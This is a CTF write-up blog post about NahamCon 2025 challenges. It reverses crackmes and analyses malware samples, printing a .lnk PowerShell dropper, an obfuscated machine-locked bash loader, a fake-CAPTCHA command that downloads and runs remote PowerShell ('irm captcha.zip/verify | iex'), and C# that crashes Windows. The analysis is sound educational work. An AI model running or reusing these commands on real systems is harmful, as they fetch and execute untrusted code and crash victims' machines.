allthingsreversed.io

NahamCon CTF 2025 — Challenge Writeups & Analysis

During the weekend, I participated in NahamCon CTF 2025. Here’s a list of the challenges I managed to solve during the competition: Sending Mixed Signals, The Oddyssey, Puzzle Pieces, My First CTF, Screenshot, Free flags!, Verification Clarification, FlagsFlagsFlags, Deflation Gangster, It's locked, What's a base amongst friends?, and No! Not again.

Most of these were considered easy and didn’t necessarily require a write-up. However, I decided to document a few of them, as they might still hold some educational or practical value.

Deflation Gangster

One of the challenges was called Deflation Gangster. We were given a gangster.zip file which, after unpacking, contained a folder named important_docs with a single file: important_docs.lnk.

Inspecting the .lnk file revealed a PowerShell script embedded in it with the following content:

[code]

$name = "important_docs";
$file = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *$name.zip).fullname;
$bytes = [System.IO.File]::ReadAllBytes($file);
$size = (0..($bytes.Length - 4) | Where-Object {
    $bytes[$_] -eq 0x55 -and
    $bytes[$_+1] -eq 0x55 -and
    $bytes[$_+2] -eq 0x55 -and
    $bytes[$_+3] -eq 0x55
})[0] + 4;
$length = 53;
$chunk = $bytes[$size..($size + $length - 1)];
$out = "$Env:TEMP\$name.txt";
[System.IO.File]::WriteAllBytes($out, $chunk);
Invoke-Item $out;
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

[/code]

The script isn’t very complex, and here’s what it does:

However, when I ran the script, it extracted garbage. Upon manually inspecting the ZIP file, I noticed there was no 0x55 0x55 0x55 0x55 pattern at all. That’s when I started digging through the raw bytes myself and noticed a suspicious-looking pattern:

Instead of UUUU, I found the sequence DEFG. While not identical, it was clearly a deliberate marker. Looking further, the following bytes resembled a base64-encoded string. I tried decoding it using:

[code]

echo "ZmxhZ3thZjExNTBmMDdmOTAwODcyZTE2MmUyMzBkMGVmOGY5NH0K" | base64 -d

[/code]

That gave me the flag. Challenge solved.

Still not entirely sure what the intended purpose of the script was 🤷‍♂️—possibly a red herring, or maybe the original file had been modified or corrupted. Either way, digging into the file manually did the trick.

It’s locked

This was an interesting one. We were given the following description:

This bin looks locked as a crypt to me, but I’m sure you can work some magic here.
All I know is that this came from a machine with a cryptic ID of just ‘hello’.

…and a flag.sh script.

Upon inspecting the file, we can see it’s an obfuscated Bash script:

We could try deobfuscating it, but instead, I ran it with the -x flag to print all commands as they execute:

This produces a lot of cryptic output, but toward the end of execution, we can spot the juicy part of the script:

[code]

_bcl_verify_dec ()
{
    [ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "B-${1}-${UID}" -a -A 2> /dev/null)" ] && return 255;
    echo "$1-${UID}"
}
_bcl_verify() { _bcl_verify_dec "$@"; }
_bcl_get ()
{
    [ -z "$UID" ] && UID="$(id -u 2> /dev/null)";
    [ -f "/etc/machine-id" ] && _bcl_verify "$(cat "/etc/machine-id" 2> /dev/null)" && return;
    command -v dmidecode > /dev/null && _bcl_verify "$(dmidecode -t 1 2> /dev/null | LANG=C perl -ne '\''/UUID/ && print && exit'\'')" && return;
    _bcl_verify "$({ ip l sh dev "$(LANG=C ip route show match 1.1.1.1 | perl -ne '\''s/.*dev ([^ ]*) .*/\1/ && print && exit'\'')" | LANG=C perl -ne '\''print if /ether / && s/.*ether ([^ ]*).*/\1/'\''; } 2> /dev/null)" && return;
    _bcl_verify "$({ blkid -o export | LANG=C perl -ne '\''/^UUID/ && s/[^[:alnum:]]//g && print && exit'\''; } 2> /dev/null)" && return;
    _bcl_verify "$({ fdisk -l | LANG=C perl -ne '\''/identifier/i && s/[^[:alnum:]]//g && print && exit'\''; } 2> /dev/null)" && return
}
_bcl_gen_p ()
{
    local _k;
    local str;
    [ -z "$BC_BCL_TEST_FAIL" ] && _k="$(_bcl_get)" && _P="$(echo "$1" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "$_k" -a -A 2> /dev/null)";
    [ -n "$_P" ] && return 0;
    [ -n "$fn" ] && {
        unset BCL BCV _P P S fn;
        unset -f _bcl_get _bcl_verify _bcl_verify_dec;
        return 255
    };
    BCL="$(echo "$BCL" | openssl base64 -d -A 2> /dev/null)";
    [ "$BCL" -eq "$BCL" ] 2> /dev/null && exit "$BCL";
    str="$(echo "$BCL" | openssl base64 -d -A 2> /dev/null)";
    BCL="${str:-$BCL}";
    exec /bin/sh -c "$BCL";
    exit 255
}
BCL='\''aWQgLXUK'\''
BCV='\''93iNKe0zcKfgfSwQoHYdJbWGu4Dfnw5ZZ5a3ld5UEqI='\''
P=llLvO8+J6gmLlp964bcJG3I3mY27I9ACsJTvXYCZv2Q=
S='\''lRwuwaugBEhK488I'\''
C=3eOcpOICWx5iy2UuoJS9gQ==
for x in openssl perl gunzip; do
    command -v "$x" >/dev/null || { echo >&2 "ERROR: Command not found: $x"; return 255; }
done
unset fn _err
if [ -n "$ZSH_VERSION" ]; then
    [ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0"
elif [ -n "$BASH_VERSION" ]; then
    (return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}"
fi
fn="${BC_FN:-$fn}"
XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}"
[ -z "$XS" ] && unset XS
[ -z "$fn" ] && [ -z "$XS" ] && [ ! -f "$0" ] && {
    echo >&2 '\''ERROR: Shell not supported. Try "BC_FN=FileName source FileName"'\''
    _err=1
}
_bc_dec() {
    _P="${PASSWORD:-$BC_PASSWORD}"
    unset _ PASSWORD
    if [ -n "$P" ]; then
        if [ -n "$BCV" ] && [ -n "$BCL" ]; then
            _bcl_gen_p "$P" || return
        else
            _P="$(echo "$P"|openssl base64 -A -d)"
        fi
    else
        [ -z "$_P" ] && {
            echo >&2 -n "Enter password: "
            read -r _P
        }
    fi
    [ -n "$C" ] && {
        local str
        str="$(echo "$C" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "C-${S}-${_P}" -a -A 2>/dev/null)"
        unset C
        [ -z "$str" ] && {
            [ -n "$BCL" ] && echo >&2 "ERROR: Decryption failed."
            return 255
        }
        eval "$str"
        unset str
    }
    [ -n "$XS" ] && {
        exec bash -c "$(printf %s "$XS" |LANG=C perl -e '\''<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'\''|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
    }
    [ -z "$fn" ] && [ -f "$0" ] && {
        zf='\''read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'\''
        prg="perl -e '\''<>;<>;$zf'\''<'\''${0}'\''|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '\''${S}-${_P}'\'' 2>/dev/null|perl -e '\''read(STDIN,\\\$_, ${R:-0});print(<>)'\''|gunzip"
        LANG=C exec perl '\''-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'\''"$prg"'\''|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'\''"$LANG"'\''";exec{"/proc/$$/fd/$f"}"'\''"${0:-python3}"'\''",@ARGV'\'' -- "$@"
    }
    [ -f "${fn}" ] && {
        unset -f _bcl_get _bcl_verify _bcl_verify_dec
        unset BCL BCV _ P _err
        eval "unset _P S R fn;$(LANG=C perl -e '\''<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'\''<"${fn}"|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
        return
    }
    [ -z "$fn" ] && return
    echo >&2 "ERROR: File not found: $fn"
    _err=1
}
[ -z "$_err" ] && _bc_dec "$@"
unset fn
unset -f _bc_dec
if [ -n "$_err" ]; then
    unset _err
    false
else
    true
fi

[/code]

There’s a lot going on, but for now, we can focus on the top part — particularly the _bcl_verify_dec and _bcl_get functions.

The _bcl_get function tries a few different techniques to generate that key, such as:

From this list, I immediately jumped to the first method — the machine ID — since the description mentioned the cryptic ID 'hello'.

However, the machine ID was only part of the key; the other part was the UID. Since that’s just the user ID, it shouldn’t be hard to brute-force the correct value.

Using a simple Bash loop, I searched for the matching key:

[code]

for uid in {0..2000}; do
  echo "93iNKe0zcKfgfSwQoHYdJbWGu4Dfnw5ZZ5a3ld5UEqI=" |
  openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "B-hello-$uid" -a -A 2>/dev/null |
  grep -q "TEST-VALUE-VERIFY" && echo "Match found: $uid" && break
done
Match found: 1338

[/code]

Boom — we’ve got both pieces: machine ID (hello) and UID (1338). Now we just need to make sure the script picks those up when we run it.

To spoof /etc/machine-id to return our desired value, I used the following technique:

> cat ./fake-machine-id
> hello
> sudo mount --bind ./fake-machine-id /etc/machine-id

Finally, to run the script with the spoofed machine ID and correct UID:

> cat /etc/machine-id
> hello
> env UID=1338 bash -x ./flag.sh

That did the trick — script verified, flag retrieved, challenge solved.

Verification Clarification

The category for this challenge was Malware, and we were given a link that looked like an attachment to download: Captcha[.]zip.

However, clicking the link didn’t trigger a file download. Instead, it opened a webpage designed to trick us into executing an unverified script using the Win+R technique:

At that point, the script was already in our clipboard, ready to be pasted into a text editor for inspection.

[code]

powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 9649''

[/code]

This first stage was a PowerShell command that downloaded and executed another script — obfuscated, of course.

The next stage involved yet another obfuscated PowerShell script, which performed a DNS query to retrieve a TXT record from a remote server. That DNS record contained — you guessed it — a base64-encoded script.

There were a few similar stages, each using slight variations of obfuscation in PowerShell.

The final stage was a bit different: it was still a PowerShell script, but this time it dynamically constructed a C# program. That program contained a method named Shot, which called NtRaiseHardError — a native Windows API that, when executed, causes a system crash (hopefully you’re running this in a VM!).

[code]

using System;
using System.Runtime.InteropServices;

public static class X {
    [DllImport("ntdll.dll")]
    public static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool PreviousValue);

    [DllImport("ntdll.dll")]
    public static extern uint NtRaiseHardError(
        uint ErrorStatus,
        uint NumberOfParameters,
        uint UnicodeStringParameterMask,
        IntPtr Parameters,
        uint ValidResponseOptions,
        out uint Response
    );

    public static unsafe void Shot() {
        bool t;
        uint r;

        // Enable SeShutdownPrivilege
        RtlAdjustPrivilege(19, true, false, out t);

        // Cause BSOD
        NtRaiseHardError(0xC0000022, 0, 0, IntPtr.Zero, 6, out r);
    }
}

[/code]

But the real payload came after that.

Although the crash would normally prevent further analysis if the script were simply executed, there was more happening under the hood: the script constructed an environment variable that contained the flag. The value was embedded as a base64 string and decoded at runtime. Extracting and decoding that value manually gave us the final flag.

FlagsFlagsFlags

The description reads:

Did you see the strings? One of those is right, I can just feel it.

Running strings on the binary immediately shows that it’s packed with UPX, so after unpacking it, we can re-run strings and see the actual target content.

That reveals what the challenge is really about:

We’ve got flags — tons of them. Probably all fake except one. Our task is to find the correct one.

NOTE: Not sure if this task was supposed to be related to Free flags!.
That one also gave us a bunch of flags, but it was easier — only one was properly constructed with valid hex digits. This one is trickier.

We can run the binary and test any flag:

NahamCon/2025/flags_flags_flags
❯ ./flagsflagsflags
Enter the flag:
flag{4f51ef2be454d76351cdb8b69b8cd48e}
Incorrect flag!

But brute-forcing through ~100k embedded flags would take forever.

Time for Ghidra.

Immediately we notice two things:

This function isn’t too long. Observing the flow reveals a key section:

[code]

LAB_004942c7                                    XREF[1]:     0049425b(j)
004942c7 48 39 d9        CMP          RCX,RBX
004942ca 7e 50           JLE          correct_flag
004942cc 44 0f b6        MOVZX        R8D,byte ptr [RBX + RAX*0x1]                                                                     input flag
            04 03
004942d1 44 0f b6        MOVZX        R9D,byte ptr [RDX + RBX*0x1]                                                                     all the flags
            0c 1a
004942d6 45 38 c1        CMP          R9B,R8B
004942d9 74 c3           JZ           LAB_0049429e
004942db 48 8d 15        LEA          RDX,[DAT_0049e7e0]                                                                               = 10h
            fe a4 00 00
004942e2 48 89 54        MOV          qword ptr [RSP + local_110],RDX=>DAT_0049e7e0                                                    = 10h
            24 58
004942e7 48 8d 15        LEA          RDX,[PTR_s_Incorrect_flag!_008897d8]                                                             = 004b8d49
            ea 54 3f 00

[/code]

Time to switch to dynamic analysis.

We jump into gdb and set a breakpoint at 0x004942c7. After that, we run the binary, and once we input a flag from the embedded list, we hit our breakpoint.

At this point:

If we print the contents at the address in rdx, we can see the correct flag directly — no guessing needed. Challenge solved.

No! Not again

Yeah, so… It’s a crackme… It’s in your FAVORITE language to Reverse Engineer!
Rust!

Rust tends to strike fear in reverse engineers — not because of what it does, but because of how verbose and noisy the decompiled output can be. But this time? It wasn’t that bad.

Let’s throw this Windows binary into Ghidra.

After a bit of decompilation work, we start with strings again and trace from "Correct! The flag is: " to the function FUN_1400014a9.

This function is a bit longer than usual, but we quickly spot an interesting pattern near where the success string is used:

[code]

140001ed1 48 b8 b0        MOV          RAX,0xDFB432BC61353FB0
            3f 35 61
            bc 32 b4 df
140001edb 31 c9           XOR          ECX,ECX
140001edd 48 ba 1d        MOV          RDX,0xBAC16AC89DF00E1D
            0e f0 9d
            c8 6a c1 ba
140001ee7 49 b8 35        MOV          R8,0xCFA8C7711A026A35
            6a 02 1a
            71 c7 a8 cf
140001ef1 4c 8d 0d        LEA          R9,[data_used_with_input]                                                                        = 3Ah
            78 45 00 00
LAB_140001ef8                                   XREF[1]:     140001f1b(j)
140001ef8 48 83 f9 26     CMP          RCX,0x26
140001efc 74 38           JZ           LAB_140001f36
140001efe 48 0f af c2     IMUL         RAX,RDX
140001f02 4c 01 c0        ADD          RAX,R8
140001f05 41 89 c2        MOV          R10D,EAX
140001f08 41 c1 ea 15     SHR          R10D,0x15
140001f0c 44 32 14 0f     XOR          R10B,byte ptr [RDI + RCX*0x1]
140001f10 4c 8d 59 01     LEA          R11,[RCX + 0x1]
140001f14 46 3a 14 09     CMP          R10B,byte ptr [RCX + R9*0x1]=>data_used_with_input                                               = 3Ah
140001f18 4c 89 d9        MOV          RCX,R11
140001f1b 74 db           JZ           LAB_140001ef8

[/code]

What’s happening here?

We initialize a few constants in RAX, RDX, and R8. Then we enter a loop where:

We can emulate this logic with Python like so:

[code]

import string

data = open('./crackme-rust-fun.exe','rb').read()

flag_bytes = data[0x5270:0x5270+0x26]

rax = 0xDFB432BC61353FB0
rdx = 0xBAC16AC89DF00E1D
r8 = 0xCFA8C7711A026A35

def compute():
    global rax, rdx, r8, rcx
    rax = (rax * rdx) & 0xFFFFFFFFFFFFFFFF
    rax = (rax + r8) & 0xFFFFFFFFFFFFFFFF
    r10d = rax & 0xFFFFFFFF
    r10d >>= 21
    r10b = r10d & 0xFF

    return r10b

correct_flag = ''
for i in range(0x26):
    v = compute()
    c = flag_bytes[i]
    correct_flag += chr(v ^ c)

print(f'{correct_flag=}')

[/code]

Running this script reveals the flag. Clean and simple — once you’ve dug through the Rust noise.

What’s a base amongst friends?

What’s a base amongst friends though, really?

This was a fun one. From the description, I was certain it would involve some base-XX conversion, but it ended up taking me more time than I initially expected.

Running the binary gives us the initial setup:

❯ ./whats-a-base
Enter the password:
aaaaaaaaaa
Invalid password!

Okay. We can see an error message if we provide an invalid password, which we’ll use as a reference point in our analysis. The code itself was hard to look at—written in Rust again—but some key patterns stood out.

One clue appeared in FUN_001079b0, where we see a comparison with an interesting hardcoded string:

[code]

  if ((local_a0 == 0x58) &&
     (iVar3 = bcmp(local_a8,
                   "m7xzr7muqtxsr3m8pfzf6h5ep738ez5ncftss7d1cftskz49qj4zg7n9cizgez5upbzzr7n9cjosg45wqjosg3mu"
                   ,0x58), iVar3 == 0)) {

[/code]

Another important fragment was in FUN_00108b40, showing what looked like a conversion loop:

[code]

cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[i >> 3];
local_38 = param_3;
...
*(lStack_68 + lVar2) = cVar1;
local_60 = lVar2 + 1;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[(i & 7) << 2 | bVar10 >> 6];
...
*(lStack_68 + 1 + lVar2) = cVar1;
local_60 = lVar2 + 2;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[bVar10 >> 1 & 0x1f];
...
*(lStack_68 + 2 + lVar2) = cVar1;
local_60 = lVar2 + 3;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[(bVar10 & 1) << 4 | bVar7 >> 4];
...
*(lStack_68 + 3 + lVar2) = cVar1;
local_60 = lVar2 + 4;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[bVar7 * '\x02' & 0x1f | bVar8 >> 7];
...
*(lStack_68 + 4 + lVar2) = cVar1;
local_60 = lVar2 + 5;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[bVar8 >> 2 & 0x1f];
...
*(lStack_68 + 5 + lVar2) = cVar1;
local_60 = lVar2 + 6;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[(bVar8 & 3) << 3 | local_74 >> 5];
...
*(lStack_68 + 6 + lVar2) = cVar1;
local_60 = lVar2 + 7;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[local_74 & 0x1f];
...

[/code]

This definitely looked like base32 encoding using a custom alphabet: ybndrfg8ejkmcpqxot1uwisza345h769.

Not wanting to dive deeper into more Rust reverse engineering, I jumped into gdb and set a breakpoint at RVA 0x7cea. Trying different inputs gave me outputs like:

The trailing ys resemble base64’s = padding. After a few more experiments, I concluded the transformation does the following:

Knowing this, and the target encoded string from the binary, we can reverse the process to recover the original input. This quick Python script does exactly that:

[code]

output = 'm7xzr7muqtxsr3m8pfzf6h5ep738ez5ncftss7d1cftskz49qj4zg7n9cizgez5upbzzr7n9cjosg45wqjosg3mu'
a = ''.join([bin(tab.index(x))[2:].zfill(5) for x in output])
''.join([chr(int(a[i:i+8],2)) for i in range(0, len(a), 8)])

[/code]

Run it and pass the result to the binary—you’ll get the flag.

Thoughts on the NahamCon CTF 2025 Challenges

This year’s challenges were well-constructed and fun to dive into, offering a variety of techniques across reverse engineering, scripting, and analysis. While some of the tasks leaned toward the approachable side for experienced participants, they still managed to showcase clever ideas and solid execution. A great set for sharpening skills without getting bogged down in overly complex puzzles.